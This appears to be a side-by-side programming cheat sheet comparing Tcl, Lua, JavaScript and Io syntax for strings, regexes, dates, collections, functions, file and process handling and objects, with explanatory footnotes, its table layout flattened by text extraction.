set s $s1$s2| s = "Hello, " .. "World\!"| s = "Hello, " \+ "World\!";| s :=
"Hello, " .. "World\!"  
split  
| split "do re mi"| _none_|  "do re mi".split\(" "\)| "do re mi" split\(" "\)  
join  
| join \[list "do" "re" "mi"\] " "| table.concat\(\{"do","re","mi"\}, " "\)|
\["do", "re", "mi"\].join\(" "\)| list\("do", "re", "mi"\) join\(" "\)  
sprintf| set fmt "lorem %s %d %f"  
format $fmt "ipsum" 13 3.7| string.format\("lorem %s %d %f",  
"ipsum", 13, 3.7\)| _none_|  _none_  
case manipulation| string toupper "lorem"  
string tolower "LOREM"  
_none_|  string.upper\("lorem"\)  
string.lower\("LOREM"\)  
_none_|  "lorem".toUpperCase\(\)  
"LOREM".toLowerCase\(\)  
_none_|  "lorem" asUppercase  
"LOREM" asLowercase  
"lorem" asCapitalized  
strip| string trim " lorem "  
string trimleft " lorem"  
string trimright "lorem "| _none_|  " lorem ".trim\(\)  
\# some browsers:  
" lorem".trimLeft\(\)  
"lorem ".trimRight\(\)| " lorem " asMutable strip  
" lorem" asMutable lstrip  
"lorem " asMutable rstrip  
pad on right, pad on left, center| format "%10s" "lorem"  
format "%-10s" "lorem"| _none_|  _none_|  "foo" alignRight\(10, " "\)  
"lorem" alignLeft\(10, " "\)  
"lorem" alignCenter\(10, " "\)  
length  
| string length "lorem"| string.len\("lorem"\)| "lorem".length| "lorem" size  
index of substring  
| string first "ipsum" "lorem ipsum"| string.find\("lorem ipsum", "ipsum"\)|
"lorem ipsum".indexOf\("ipsum"\)| "lorem ipsum" findSeq\("ipsum"\)  
extract substring  
| string range "lorem ipsum" 6 10| string.sub\("lorem ipsum", 7, 11\)| "lorem
ipsum".substr\(6, 5\)  
"lorem ipsum".substring\(6, 11\)| "foo bar" exSlice\(4,7\)  
chr and ord| format %c 65  
scan A %c ascii\_value| string.char\(65\)  
string.byte\("A"\)| String.fromCharCode\(65\)  
"A".charCodeAt\(0\)| 65 asCharacter  
"A" at\(0\)  
regexes  
| tcl| lua| javascript| io  
character class abbreviations and anchors|  _char class abbrevs:_  
. \d \D \s \S \w \W  
  
_anchors:_ ^ $ \A \m \M \y \Y \Z|  _char class abbrevs:_  
. %a %c %d %l %p %s %u %w %x %z  
  
_anchors:_ ^ $| _char class abbrevs:_  
. \d \D \s \S \w \W  
  
_anchors:_ ^ $ \b \B|  
match test  
| if \[regexp \-- \{1999\} $s\] \{  
puts "party\!"  
\}| if string.match\(s, "1999"\) then  
print\("party\!"\)  
end| if \(s.match\(/1999/\)\) \{  
alert\("party\!"\);  
\}|  
case insensitive match test| regexp -nocase \-- \{lorem\} "Lorem"| _none_|
"Lorem".match\(/lorem/i\)|  
modifiers| -all -expanded -indices -inline  
-line -lineanchor -linestop -nocase|  _none_|  g i m|   
substitution| set s "do re mi mi mi"  
regsub -all \-- "mi" $s "ma"| s = "do re mi mi mi"  
s = string.gsub\(s, "mi", "ma"\)| s = "do re mi mi mi";  
s.replace\(/mi/g, "ma"\);|  
group capture| set s "2009-06-03"  
set rx \{^\(\d\{4\}\)-\(\d\{2\}\)-\(\d\{2\}\)$\}  
regexp \-- $rx $s \- yr mo dy| s = "2010-06-03"  
rx = "\(%d+\)-\(%d+\)-\(%d+\)"  
yr, mo, dy = string.match\(s, rx\)| rx =
/^\(\d\{4\}\)-\(\d\{2\}\)-\(\d\{2\}\)$/;  
m = rx.exec\('2009-06-03'\);  
yr = m\[1\];  
mo = m\[2\];  
dy = m\[3\];|  
dates and time  
| tcl| lua| javascript| io  
current date/time| set t \[clock seconds\]| t = os.time\(\)| var t = new
Date\(\);| t := Date now  
to unix epoch, from unix epoch| t  
set t2 1315716177| t  
t2 = 1315716177| Math.round\(t.getTime\(\) / 1000\)  
var epoch = 1315716177;  
var t2 = new Date\(epoch \* 1000\);| t asNumber  
epoch := 1315716177  
t2 := Date clone fromNumber\(epoch\)  
strftime| set fmt "%Y-%m-%d %H:%M:%S"  
clock format $t -format $fmt| os.date\("%Y-%m-%d %H:%M:%S", t\)| _none_|  t
asString\("%Y-%m-%d %H:%M:%S"\)  
strptime|  _none_|  _none_|  _none_|  s := "2011-05-03 10:00:00"  
fmt := "%Y-%m-%d %H:%M:%S"  
t := Date fromString\(s, fmt\)  
parse date w/o format| set t \[clock scan "July 7, 1999"\]| _none_|  var t =
new Date\("July 7, 1999"\);| _none_  
get date parts| clock format $t -format "%Y"  
clock format $t -format "%m"  
clock format $t -format "%d"| _none_|  t.getFullYear\(\)  
t.getMonth\(\) + 1  
t.getDate\(\) \# getDay\(\) is day of week| t year  
t month  
t day  
get time parts| clock format $t -format "%H"  
clock format $t -format "%M"  
clock format $t -format "%S"| _none_|  t.getHours\(\)  
t.getMinutes\(\)  
t.getSeconds\(\)| t hour  
t minute  
t second floor  
build date/time from parts|  _none_|  _none_|  var yr = 1999;  
var mo = 9;  
var dy = 10;  
var hr = 23;  
var mi = 30;  
var ss = 0;  
var t = new Date\(yr,mo-1,dy,hr,mi,ss\);| t := Date now  
t setYear\(1999\)  
t setMonth\(9\)  
t setDay\(10\)  
t setHour\(23\)  
t setMinute\(30\)  
t setSecond\(0\)  
sleep  
| after 500|  _none_|  _none_|  System sleep\(0.5\)  
arrays  
| tcl| lua| javascript| io  
literal  
| set nums \[list 1 2 3 4\]  
set nums \{1 2 3 4\}| nums = \{ 1, 2, 3, 4 \}| nums = \[1,2,3,4\]| nums :=
list\(1,2,3,4\)  
size  
| llength $nums| \# nums| nums.length| nums size  
lookup  
| lindex $nums 0| nums\[1\]| nums\[0\]| nums at\(0\)  
slice  
| lrange $nums 1 2|  _none_|  nums.slice\(1,3\)| nums slice\(1,3\)  
concatenation  
| set a \[concat \{1 2 3\} \{4 5 6\}\]| _none_|  a =
\[1,2,3\].concat\(\[4,5,6\]\);| list\(1,2,3\) appendSeq\(list\(4,5,6\)\)  
manipulate back of array| set a \{6 7 8\}  
lappend a 9  
set i \[lindex $a end\]  
set a \[lreplace $a end end\]| a = \{6,7,8\}  
table.insert\(a, 9\)  
i = table.remove\(a\)| a = \[6,7,8\];  
a.push\(9\);  
i = a.pop\(\);| a := list\(6,7,8\)  
a push\(9\)  
i := a pop  
manipulate front of array| set a \{6 7 8\}  
set a \[concat \{5\} $a\]  
set a \[lassign $a i\]| a = \{6,7,8\}  
table.insert\(a, 1, 5\)  
i = table.remove\(a, 1\)| a = \[6,7,8\];  
a.unshift\(5\);  
i = a.shift\(\);| a := list\(6,7,8\)  
a prepend\(5\)  
i := a removeFirst  
iteration| foreach i $nums \{ puts $i \}| for k,v in ipairs\(nums\) do  
print\(v\)  
end| var len = nums.length;  
for \(var i=0; i<len; i++ \) \{  
alert\(nums\[i\]\);  
\}| nums foreach\(v, v println\)  
sort  
| set a \{3 1 4 2\}  
set a \[lsort $a\]| a = \{3,1,4,2\}  
table.sort\(a\)| var a = \[3,1,4,2\];  
a.sort\(\);| a := list\(3,1,4,2\)  
a := a sort  
reverse  
| set a \{1 2 3\}  
set a \[lreverse $a\]| _none_|  var a = \[1,2,3\];  
a.reverse\(\);| a := list\(1, 2, 3\)  
a := a reverse  
member, not a member| expr \{7 in $nums\}  
expr \{7 ni $nums\}| _none_|  _none_|  nums contains\(7\)  
nums contains\(7\) not  
intersection  
| package require struct::set  
  
::struct::set intersect \{1 2\} \{2 3\}| _none_|  _none_|  list\(1,2\)
intersect\(list\(2,3\)\)  
union  
| package require struct::set  
  
::struct::set union \{1 2\} \{2 3 4\}| _none_|  _none_|  list\(1,2\)
union\(list\(2,3,4\)\)  
set difference  
| package require struct::set  
  
::struct::set difference \{1 2 3\} \{2\}| _none_|  _none_|  list\(1,2,3\)
difference\(list\(2\)\)  
map  
| package require struct::list  
  
proc sqr \{x\} \{return \[expr $x\*$x\]\}  
::struct::list map \{1 2 3\} sqr|  _none_|  nums.map\(function\(x\) \{return
x\*x\}\)| nums map\(x, x\*x\)  
filter  
| package require struct::list  
  
proc gt1 \{x\} \{return \[expr $x>1\]\}  
::struct::list filter \{1 2 3\} gt1|  _none_|  nums.filter\(function\(x\)
\{return x>1\}\)| nums select\(x, x>1\)  
reduce  
| package require struct::list  
  
::struct::list fold \{1 2 3\} 0  
::tcl::mathop::+| _none_|  nums.reduce\(function\(m,o\) \{  
return m+o;  
\}, 0\)| nums reduce\(m, o, m+o, 0\)  
dictionaries  
| tcl| lua| javascript| io  
literal| set d \[dict create t 1 f 0\]| d = \{ t=1, f=0 \}| d = \{ "t":1,
"f":0 \};  
_keys do not need to be quoted if they are a legal JavaScript variable name
and not a reserved word_|  d := Map with\("t", 1, "f", 0\)  
size  
| dict size $d| size = 0  
for k, v in pairs\(d\) do  
size = size + 1  
end| var size = 0;  
for \(var k in d\) \{  
if \(d.hasOwnProperty\(k\)\) size++;  
\}| d size  
lookup| dict get $d t| d.t  
d\["t"\]| d.t  
d\["t"\]| d at\("t"\)  
update| dict set d t 2| d\["t"\] = 2  
d.t = 2| d\["t"\] = 2;  
d.t = 2;| d.atPut\("t", 2\)  
out of bounds behavior|  _error_|  _returns_ nil|  _returns_ undefined|
_returns_ nil  
is key present  
| dict exists $d t| d\["t"\] ~= nil| d.hasOwnProperty\("t"\);| d hasKey\("t"\)  
delete| dict unset d t| d.t = nil  
d\["t"\] = nil| delete d\["t"\];  
delete d.t;| d removeAt\("t"\)  
iteration| foreach \{k v\} $d \{  
 _code_  
\}| for k,v in pairs\(d\) do  
 _use k or v_  
end| for \(var k in d\) \{  
 _use k or d\[k\]_  
\}| d foreach\(k, v,  
k println  
v println  
\)  
functions  
| tcl| lua| javascript| io  
function declaration| proc add \{ x y \} \{  
expr $x \+ $y  
\}| function add\(x, y\)  
return x + y  
end| function add\(x, y\) \{  
return x+y;  
\}| add := block\(x, y,  
x+y  
\)  
function invocation  
| add 1 2| add\(1, 2\)| add\(1, 2\)| add call\(1, 2\)  
missing argument value|  _error_|  nil| undefined| nil  
extra arguments  
|  _error_|  _ignored_|  _available in_ arguments|  _ignored_  
default value  
| proc log \{x \{base 10 \}\} \{ _body_ \}| _none_|  _none_|  _none_  
variable number of arguments|  _last arg contains list of remaining values_|
_declare function with ellipsis:_  
function foo\(…\)  
_and arguments will be in array_ arg|  _args in_ arguments\[0\],
arguments\[1\], … _with number of args in_ arguments.length|  _arguments in_  
call message arguments  
return value| return _arg or empty string_|  return _arg or_ nil| return _arg
or_ undefined. _If invoked with_ new _and return value not an object, returns_
this| return _arg or last expression evaluated_  
multiple return values|  _none_|  function roots\(x\)  
r = math.sqrt\(x\)  
return r, -r  
end  
r1,r2 = roots\(4\)| _none_|  _none_  
lambda declaration| set sqr \{\{x\} \{return \[expr $x\*$x\]\}\}| sqr =
function\(x\) return x\*x end| sqr = function\(x\) \{ return x\*x; \}| _all
functions are lambdas:_  
sqr := block\(x, x\*x\)  
lambda invocation  
| apply $sqr 2| sqr\(2\)| sqr\(2\)| sqr call\(2\)  
default scope  
|  _local_|  _global unless declared with_ local|  _global unless declared
with_ var|  _local_  
nested function visibility|  _not visible outside containing function_|
_visible outside containing function_|  _not visible outside containing
function_|  _visible if stored in visible variable_  
execution control  
| tcl| lua| javascript| io  
if| if \{ 0 == $n \} \{  
puts "no hits"  
\} elseif \{ 1 == $n \} \{  
puts "1 hit"  
\} else \{  
puts "$n hits"  
\}| if n == 0 then  
print\("no hits"\)  
elseif n == 1 then  
print\("one hit"\)  
else  
print\(n .. " hits"\)  
end| if \(0 == n\) \{  
alert\("no hits"\);  
\} else if \(1 == n\) \{  
alert\("1 hit"\);  
\} else \{  
alert\(n + " hits"\);  
\}| if \(n == 0,  
"no hits",  
if \(n == 1,  
"1 hit",  
"\#\{n\} hits" interpolate  
\)  
\)  
while| while \{ $i < 100 \} \{  
incr i  
\}| while i < 100 do  
i = i + 1  
end| while \( i < 100 \) \{  
i += 1;  
\}| while \(i < 100,  
i = i + 1  
\)  
break and continue| break continue| break _none_|  break continue| break
continue  
for| for \{set i 0\} \{$i < 10\} \{incr i\} \{  
puts $i  
\}| for i = 0, 9 do  
print\(i\)  
end| for \(var i=0; i<10; i++\) \{  
alert\(i\);  
\}| for \(i, 0, 9,  
i println  
\)  
raise exception| error "bad arg"| error "bad arg"| throw "bad arg";| Exception
raise\("bad arg"\)  
catch exception| catch risky retval  
if \{ retval \!= 0 \} \{  
puts "risky failed"  
\}| if not pcall\(risky\) then  
print "risky failed"  
end| try \{  
risky\(\);  
\} catch \(e\) \{  
alert\("risky failed"\);  
\}| msg := "risky failed\n"  
e := try\(risky call\)  
e catch\(Exception, write\(msg\)\)  
finally/ensure|  _none_|  _none_|  acquire\_resource\(\);  
try \{  
risky\(\);  
\} finally \{  
release\_resource\(\);  
\}| _none_  
uncaught exception behavior|  _stderr and exit_|  _stderr and exit_|  _error
to console; script terminates. Other scripts in page will execute_|  _stderr
and exit_  
generator|  _to be added to Tcl 8.6_|  crt = coroutine.create\(  
function \(n\)  
while \(true\) do  
coroutine.yield\(n % 2\)  
n = n + 1  
end  
end  
\)  
  
status, retval =  
coroutine.resume\(crt, 1\)  
  
if status then  
print\("parity: " .. retval\)  
else  
print\("couldn't resume crt"\)  
end  
  
\_, retval = coroutine.resume\(crt\)  
print\("parity: " .. retval\)| _none_|  _none; although Io has coroutines,_
yield _and_ resume _do not pass values. Also,_ yield _returns control to a
scheduler, not the caller._  
files  
| tcl| lua| node.js| io  
print to standard output| puts "Hello, World\!"| print "Hello, World\!"| var
sys = require\('sys'\);  
  
sys.puts\("Hello, World\!"\);| "Hello, World\!" println  
read from standard input| gets stdin line| line = io.stdin:read\(\)| | line := File standardInput readLine  
standard file handles| stdin  
stdout  
stderr| io.stdin  
io.stdout  
io.stderr| | File standardInput  
File standardOutput  
File standardError  
open file| set f \[open "/tmp/foo"\]| f = io.open\("/tmp/foo"\)| var fs =
require\('fs'\);  
  
f = fs.openSync\("/tmp/foo", "r"\);| f := File with\("/tmp/foo"\)  
f openForReading  
open file for writing| set f \[open "/tmp/foo" "w"\]| f = io.open\("/tmp/foo",
"w"\)| var fs = require\('fs'\);  
  
f = fs.openSync\("/tmp/foo", "w"\);| f := File with\("/tmp/foo"\)  
f remove  
f openForUpdating  
close file  
| close $f| f:close\(\)| fs.closeSync\(f\);| f close  
read line  
| gets $f| f:read\(\)| | f readLine  
iterate over a file by line| while \{ \[gets $f s\] >= 0 \} \{  
 _use s_  
\}| for s in f:lines\(\) do  
 _use s_  
end| var fs = require\('fs'\);  
  
var file = fs.readFileSync\("/etc/hosts"\).toString\(\);  
file.split\("\n"\).forEach\(function \(s\) \{  
 _use s_  
\}\);| f foreachLine\(s,  
 _use s_  
\)  
chomp| string trimright $line "\r\n"| _none,_ read\(\) _and_ lines\(\) _remove trailing newlines_| |  _none,_ readLine _and_ readLines _remove trailing newlines_  
read file  
| read $f| f:read\("\*a"\)| var fs = require\('fs'\);  
  
fs.readFileSync\("/tmp/foo", "utf8"\);| f contents  
write to file  
| puts -nonewline $f "lorem ipsum"| f:write\("lorem ipsum"\)| fs.writeSync\(f,
"lorem ipsum"\);| f write\("lorem ipsum"\)  
flush file handle| flush $f| f:flush\(\)| _none_|  f flush  
file test, regular file test| file exists "/etc/hosts"  
file isfile "/etc/hosts"| _none_|  var path = require\('path'\);  
  
path.existsSync\("/etc/hosts"\);| file := "/etc/hosts"  
File exists\(file\)  
File with\(file\) isRegularFile  
copy file, remove file, rename file| file copy "/tmp/foo" "/tmp/bar"  
file delete "/tmp/foo"  
file rename "/tmp/bar" "/tmp/foo"| _none_|  var fs = require\('fs'\);  
  
_??_  
fs.unlink\("/tmp/foo"\);  
fs.rename\("/tmp/bar", "/tmp/foo"\);| foo := "/tmp/foo"  
bar := "/tmp/bar"  
File with\(foo\) copyToPath\(bar\)  
File with\(foo\) remove  
File with\(bar\) moveTo\(foo\)  
set file permissions| set s "/tmp/foo"  
file attributes $s -permissions 0755|  _none_|  var fs = require\('fs'\);  
  
fs.chmod\("/tmp/foo", 0755\);|  
temporary file| set tmp \[::fileutil::tempfile foo\]  
set f \[open $tmp "w"\]  
puts $f "lorem ipsum"  
close $f  
puts "tmp file: $tmp"| f = io.tmpfile\(\)  
f:write\("lorem ipsum\n"\)  
f:close\(\)  
_??_| |   
directories  
| tcl| lua| node.js| io  
build pathname| file join "/etc" "hosts"| | var path = require\('path'\);  
  
path.join\("/etc", "hosts"\);|  
dirname and basename| file dirname "/etc/hosts"  
file tail "/etc/hosts"| | var path = require\('path'\);  
  
path.dirname\("/etc/hosts"\);  
path.basename\("/etc/hosts"\);|  
iterate over directory by file| | | var fs = require\('fs'\);  
var sys = require\('sys'\);  
  
var a = fs.readdirSync\("/etc"\);  
for \(var i=0; i<a.length; i++\) \{  
sys.puts\(a\[i\]\);  
\}| dir := Directory with\("/etc"\)  
dir items foreach\(file,  
file name println  
\)  
make directory| file mkdir "/tmp/foo/bar"| | var fs = require\('fs'\);  
  
fs.mkdirSync\("/tmp/foo", 0755\);  
fs.mkdirSync\("/tmp/foo/bar", 0755\);| path := "/tmp/foo/bar"  
Directory with\(path\) createIfAbsent  
remove empty directory| file delete "/tmp/foodir"| | var fs = require\('fs'\);  
  
fs.rmdirSync\("/tmp/foo/bar"\);| Directory with\("/tmp/foodir"\) remove  
remove directory and contents| file delete -force "/tmp/foodir"| | |   
directory test  
| file isdirectory "/tmp"| | | Directory with\("/tmp"\) exists  
processes and environment  
| tcl| lua| node.js| io  
command line args| \[lindex $argv 0\]  
\[lindex $argv 1\]  
_…_|  \# arg  
arg\[0\]  
arg\[1\]  
_…_|  process.argv.length  
process.argv\[0\]  
process.argv\[1\]  
…| System args size  
System args at\(0\)  
System args at\(1\)  
_…_  
environment variable| $env\(HOME\)| os.getenv\("HOME"\)| | System getEnvironmentVariable\("HOME"\)  
exit  
| exit 0| os.exit\(0\)| process.exit\(0\)| System exit\(0\)  
set signal handller  
|  _none_|  _none_| |  _none_  
external command| exec ls| os.execute\("ls"\)| var exec =  
require\('child\_process'\).exec;  
var child = exec\('ls'\);| System runCommand\("ls"\)  
backticks| set f \[ open |ls \]  
read f| f = io.popen\("ls"\)  
s = f:read\("\*a"\)| var exec =  
require\('child\_process'\).exec;  
var f = function\(err, fout, ferr\) \{  
 _output in fout_  
\};  
var child = exec\('ls', f\);| \(System runCommand\("ls"\)\) stdout  
libraries and modules  
| tcl| lua| javascript| io  
library| $ cat foo.tcl  
proc add \{x y\} \{expr $x + $y\}| $ cat foo.lua  
function add\(x, y\) return x+y end| $ cat foo.js  
function add\(x,y\) \{  
return x+y;  
\}| $ cat Foo.io  
Foo := Object clone  
Foo add := method\(x, y, x + y\)  
import library| source foo.tcl  
add 3 7| require 'foo'  
add\(3,7\)| <script src="foo.js"/>  
  
<script>  
alert\(add\(3,7\)\);  
</script>| _imported when first referenced:_  
Foo add\(3,7\)  
library path|  _none_|  package.path|  _node.js, not available in repl:_  
require.paths| Importer FileImporter directories  
library path environment variable| TCLLIBPATH| LUA\_PATH|  _none_|  _none_  
module declaration| namespace| module| |  _use an Object:_  
foo := Object clone  
module separator| ::| .| | .  
list installed packaged, install a package| | | $ npm ls  
$ npm install tmp|  
objects  
| tcl| lua| javascript| io  
create blank object| | o = \{\}| var o = new Object\(\); _or_  
var o = \{\};| o := Object clone  
set attribute  
| | o.score = 21| o.score = 21;| o score := 21  
get attribute| | if o.score == 21 then  
print\("Blackjack\!"\)  
end| if \(o.score == 21\) \{  
alert\("Blackjack\!"\);  
\}| if \(o score == 21,  
"Blackjack\!" println  
\)  
define method| | function o.doubleScore\(self\)  
return 2 \* self.score  
end| o.doubleScore = function\(\) \{  
return this.score \* 2;  
\};| o doubleScore := method\(2 \* score\)  
invoke method| | print\("Answer: " .. o:doubleScore\(\)\)| alert\("Answer: " \+ o.doubleScore\(\)\);| ans := o doubleScore asString  
"Answer: " .. ans println  
clone object  
| | | var o2 = Object.create\(o\);| o2 := o clone  
object literal| | o = \{  
score=21,  
doubleScore=function\(self\)  
return 2\*self.score  
end  
\}| var o = \{  
score: 21,  
doubleScore: function\(\) \{  
return this.score \* 2;  
\}  
\};| _none_  
reflection  
| tcl| lua| javascript| io  
inspect type  
| | type\(o\)| typeof o|   
has method?  
| | | typeof\(o.foo\) == 'function'| o getSlot\("foo"\) isActivatable  
message passing| | | o\["foo"\]\(1,1\)| o getSlot\("foo"\)\(1+1\)  
eval  
| | assert\(loadstring\("x = 1+1"\)\)\(\)| x = eval\("1 + 1"\);| x := doString\("1+1"\)  
inspect methods| | | | o slotNames select\(v,  
o getSlot\(v\) isActivatable\)  
inspect attributes| | | | o slotNames select\(v,  
o getSlot\(v\) isActivatable not\)  
|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
# General Footnotes

## version used

The version used for verifying the examples in this cheat sheet.

**javascript:**

In the JavaScript standard the language is called ECMAScript. Four versions of
the standard have been adopted:

ecmacript version| date  
---|---  
1| June 1997  
2| June 1998  
3| December 1999  
5| December 2009  
Here is a summary of ECMAScript 5 compliance for recent browsers:

browser| compliance  
---|---  
Chrome 7-12| all but "use strict"  
Chrome 13+| all  
Firefox 4+| all  
IE 9-10| all but "use strict"  
Safari 5.1| all but Function.prototype.bind  
## show version

How to get the version.

**javascript:**

This html will show the JavaScript version of the browser that renders it:

[code]

    <html><body>
    <script type="text/javascript">var javascript_version = 1.0;</script>
    <script language="Javascript1.1">var javascript_version = 1.1;</script>
    <script language="Javascript1.2">var javascript_version = 1.2;</script>
    <script language="Javascript1.3">var javascript_version = 1.3;</script>
    <script language="Javascript1.4">var javascript_version = 1.4;</script>
    <script language="Javascript1.5">var javascript_version = 1.5;</script>
    <script language="Javascript1.6">var javascript_version = 1.6;</script>
    <script language="Javascript1.7">var javascript_version = 1.7;</script>
    <script language="Javascript1.8">var javascript_version = 1.8;</script>
    <script type="text/javascript1.9">var javascript_version = 1.9;</script>
    <script type="text/javascript">
    document.write('<p>Javascript version: ' + javascript_version + '<\/p>');
    </script>
    </body></html>
    
[/code]

## interpreter

The customary name of the interpreter and how to invoke it.

**unix:**

On Unix, scripts are executing by passing the file containing the script to
the interpreter as an argument:

[code]

    bash ~/configure.sh
    
[/code]

If the executable bit is set, the file can be run directly:

[code]

    ~/configure.sh
    
[/code]

To determine the name of the interpreter that will process the script, Unix
will look for the presence of a shebang \(\#\!\) at the start of the file. If
the pathname to a command follows the shebang, it will be used to interpret
the script. If no shebang is present, the script will be interpreted with _sh_
, which is _bash_ on modern Unix systems.

Arguments that follow the command will be passed to interpreter as command
line arguments.

If it is undesirable to specify the pathname of the interpreter, the env
command can be used to search the PATH directories:

[code]

    #!/usr/bin/env lua
    
[/code]

**javascript:**

To use a browser to execute JavaScript code, put the code inside a <script>
tag in an HTML page and open the page with the browser.

## repl

The customary name of the repl.

**javascript:**

You can use the JavaScript console as a repl. Here are the keystrokes to
launch the console:

chrome| firefox| safari  
---|---|---  
mac| win| mac| win| mac  
⌥⌘J| Ctrl+Shift+J| Fn F12| Ctrl+Shift+K| ⌥⌘C  
## statement separator

How the parser determines the end of a statement.

## block delimiters

How blocks are delimited.

**tcl:**

The block delimiters \{\} and "" are the same as the string delimiters. Double
quotes "" cause variable interpolation and as a result they are not often used
to delimit blocks.

The following three lines of code behave the same:

[code]

    if {true} {puts "true"}
    
    if "true" "puts \"true\""
    
    if "true" "puts {true}"
    
[/code]

**lua:**

The _function_ and _if_ keywords open blocks which are terminated by _end_
keywords. The _repeat_ keyword opens a block which is terminated by _until_.

## assignment

How to assign a value to a variable.

## parallel assignment

Whether parallel assignment is supported, and if so how to do it.

## swap

How to swap the values in two variables.

## declare local variable

How to declare a local variable.

## declare and access global variable

How to declare and access a global variable.

## to-end-of-line comment

How to make the remainder of the line a comment.

## comment out multiple lines

How to comment out multiple lines.

**tcl:**

The method described requires that there not be an unmatched right curly
bracket in the comment.

**lua:**

The method described is the syntax for a multiline string literal.

## null

The null literal.

## null test

How to test if a value is null.

**tcl**

Tcl has has no null value.

**javascript:**

_null == undefined_ is true. The triple equality operator _===_ is thus
necessary to test if a variable is _null_.

## undefined variable access

What happens when the value in an undefined variable is accessed.

## undefined test

How to determine if a variable is undefined.

**javascript:**

_undefined == null_ is true. The triple equality operator _===_ is necessary
to test if a variable is _undefined_.

**lua:**

To determine if a variable is undefined, compare it with nil. Assigning nil to
a variable releases the variable.

# Arithmetic and Logic Footnotes

## true and false

The literals for true and false.

## falsehoods

Values which are false in conditional expressions.

**tcl:**

0 is false and all other numeric values are true. For non-numeric strings,
"no" and "false" are false, and "yes" and "true" are true. The comparison is
case insensitive. All other non-numeric strings raise an error when evaluated
in a boolean context.

## logical operators

Logical and, or, and not.

## conditional expression

How to write a conditional expression.

**lua:**

notes on Lua and the ternary operator

## are expressions statements

Whether an expression can be used where a statement is expected.

**tcl:**

Code fragments such as

[code]

    1 + 1
    
[/code]

or

[code]

    [expr 1 + 1]
    
[/code]

result in `invalid command name` errors when used as statements.

The following is a valid statement:

[code]

    expr 1 + 1
    
[/code]

The above cannot be used as an argument to a command without putting it inside
square brackets, however.

Since the constructs which can be used as statements and the constructs which
can be used in the positions where expressions are normally used are disjoint,
we claim that expressions are not statements in Tcl.

## relational expressions

How to write a relational expression.

**tcl**

To evaluate a relational expression outside of the the conditional of an `if`
statement, the `expr` command can be used.

Use square brackets to make an expression an argument of a command:

[code]

    puts [expr $x>1]
    
[/code]

## comparison operators

The available comparison operators.

**tcl:**

The `eq` and `ne` operators always perform comparisons on their operators as
strings. If the arguments are numeric, they are converted to a standard
floating point representation.

[code]

    % expr {"0" eq "00"}
    0
    % expr {"0" == "00"}
    1
    
[/code]

The `==` and `!=` operators try to convert their arguments to a numeric form
for the purpose of comparison. String comparison is used when no numeric
conversion is possible:

[code]

    % expr {"lorem" == "ipsum"}
    0
    
[/code]

The comparison operators can be invoked as commands in the following manner:

[code]

    % ::tcl::mathop::== 1 1
    1
    % ::tcl::mathop::!= 1 1
    0
    % ::tcl::mathop::> 1 1
    %::tcl::mathop::< 1 1
    0
    % ::tcl::mathop::>= 1 1
    1
    % ::tcl::mathop::<= 1 1
    1
    % ::tcl::mathop::eq "lorem" "ipsum"
    0
    %::tcl::mathop::ne "lorem" "ipsum"
    1
    
[/code]

## convert from string

How to convert a string to a number.

**tcl:**

All values are strings. The _expr_ function will concatenate the arguments
together and then evaluate the string as a numerical expression. If all the
numbers are integers, the expression is computed using integer arithmetic.
Otherwise floating point arithmetic is used. The variables can contain
compound arithmetic expressions; the following script outputs 10:

[code]

    set a "7+3"
    puts [expr $a]
    
[/code]

**lua:**

Arithmetic operators will attempt to convert strings to numbers; if the string
contains non-numeric data an error results. Note that relational operators do
not perform conversion. Thus the following expression is false:

[code]

     0 == '0'
    
[/code]

**javascript:**

Numbers can be explicitly converted to strings with _toString\(\)_. Numeric
literals must be put inside parens to invoke the _toString\(\)_ method.

[code]

    (8).toString()
    x = 7
    x.toString()
    
[/code]

## convert to string

How to convert a number to a string.

**lua:**

_print_ and the .. operator will convert all types to strings.

**javascript:**

The plus operator _+_ performs concatenation on strings. If either operand is
a string, then the other operand will be converted to a string.

[code]

    100 == "100"
    
[/code]

Numbers can be explicitly converted to strings with _toString\(\)_. Numeric
literals must be put inside parens to invoke the _toString\(\)_ method.

[code]

    (8).toString()
    x = 7
    x.toString()
    
[/code]

## arithmetic expressions

How to evaluate an arithmetic expression.

**tcl:**

Arithmetic expressions are normally evaluated with the `expr` command.
However, the conditional argument of an `if` statement is always evaluated as
an expression.

## arithmetic operators

The binary arithmetic operators.

The operators for addition, subtraction, multiplication, float division,
integer division, modulus, and exponentiation. Some languages provide a
function _pow_ instead of an operator for exponentiation.

**tcl:**

Arithmetic operators are normally used as arguments to `expr`, but commands
also exist for each of them:

[code]

    ::tcl::mathop::+
    ::tcl::mathop::-
    ::tcl::mathop::*
    ::tcl::mathop::/
    ::tcl::mathop::**
    ::tcl::mathop::%
    
[/code]

## integer division

How to perform integer division.

**lua:**

All Lua numbers are floating point.

## float division

How to perform floating point division, even if the operands might be
integers.

## arithmetic functions

Functions for computing square root, natural exponent, natural logarithm,
sine, cosine, tangent, arcsine, arccosine, arctangent, and _atan2_.

The trigonometric functions are all in radians. _atan2_ takes two arguments
which are the x and y co-ordinates of a vector in the Cartesian plane. It
returns  
the angle to the positive x-axis made by the vector.

## arithmetic truncation

How to truncate a float towards zero; how to round to the nearest integer; how
truncate towards positive infinity; how to truncate towards negative infinity;
how to take the absolute value.

## min and max

How to find the min and max value in disparate variables or an array of
values.

## division by zero

The result of division by zero.

**lua**

There is no constant for `inf`, so if the parser encounters it it is treated
as a variable with a value of `nil` unless a value has been assigned to it.

To assign `inf` to a value, use the expression `1 / 0`. `inf` has type
`number`.

## integer overflow

What happens when an operation yields an integer larger than the largest
representable value.

## float overflow

What happens when an operation yields a float larger than the largest
representable value.

## sqrt -2

The result of taking the square root of -2.

**lua**

There is no constant for `nan`; if the parser encounters it it is treated as a
variable with a value of `nil` unless a value has been assigned to it.

To assign `nan` to a value, use the expression `math.sqrt(-1)}. {{nan` has
type `number`.

## random integer, uniform float, normal float

The examples show how to generate a uniform random integer in the range from 0
